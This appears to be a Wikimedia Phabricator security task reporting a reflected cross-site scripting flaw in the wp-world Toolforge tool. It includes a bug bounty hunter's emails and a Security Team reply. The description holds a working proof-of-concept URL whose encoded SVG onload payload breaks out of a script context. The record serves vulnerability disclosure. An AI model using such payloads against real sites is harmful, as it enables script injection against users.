Page MenuHomePhabricator

xss wp-world toolforge
Closed, DuplicatePublic

Description

exploit code

https://tools.wmflabs.org/wp-world/googlmaps-proxy.php?page=%27%22%3E%3C/SCRipt%3E%3CsVg/oNLoad=confirm(/xssposed/)%3E&output=classic



Le Fri, 6 Jul 2018 13:56:53 +0000,
Brian Wolff <bwolff@wikimedia.org> a écrit :


> Hi Lacroute.
> 
> Thank you for reporting a security issue - Unfortunately I can't seem
> to access the details of your report. Would you be able to email the
> details of the vulnerability tosecurity@wikimedia.org
> 
> Thanks,
> 
> Brian Wolff
> Wikimedia Security Team
> 
> On Fri, Jul 6, 2018 at 1:47 PM,lacroutelacroute@gmail.com <
> lacroutelacroute@gmail.com> wrote:  
> 
> > hello
> >
> >
> > hey
> >
> > iam bugbounty hunter
> > iam lacroute serge france
> > https://twitter.com/fakessh
> >
> > in condition standard responsable disclosure
> > happy bugbounty
> >
> > https://www.openbugbounty.org/reports/641446/
> >
> > regards
> >
> > serge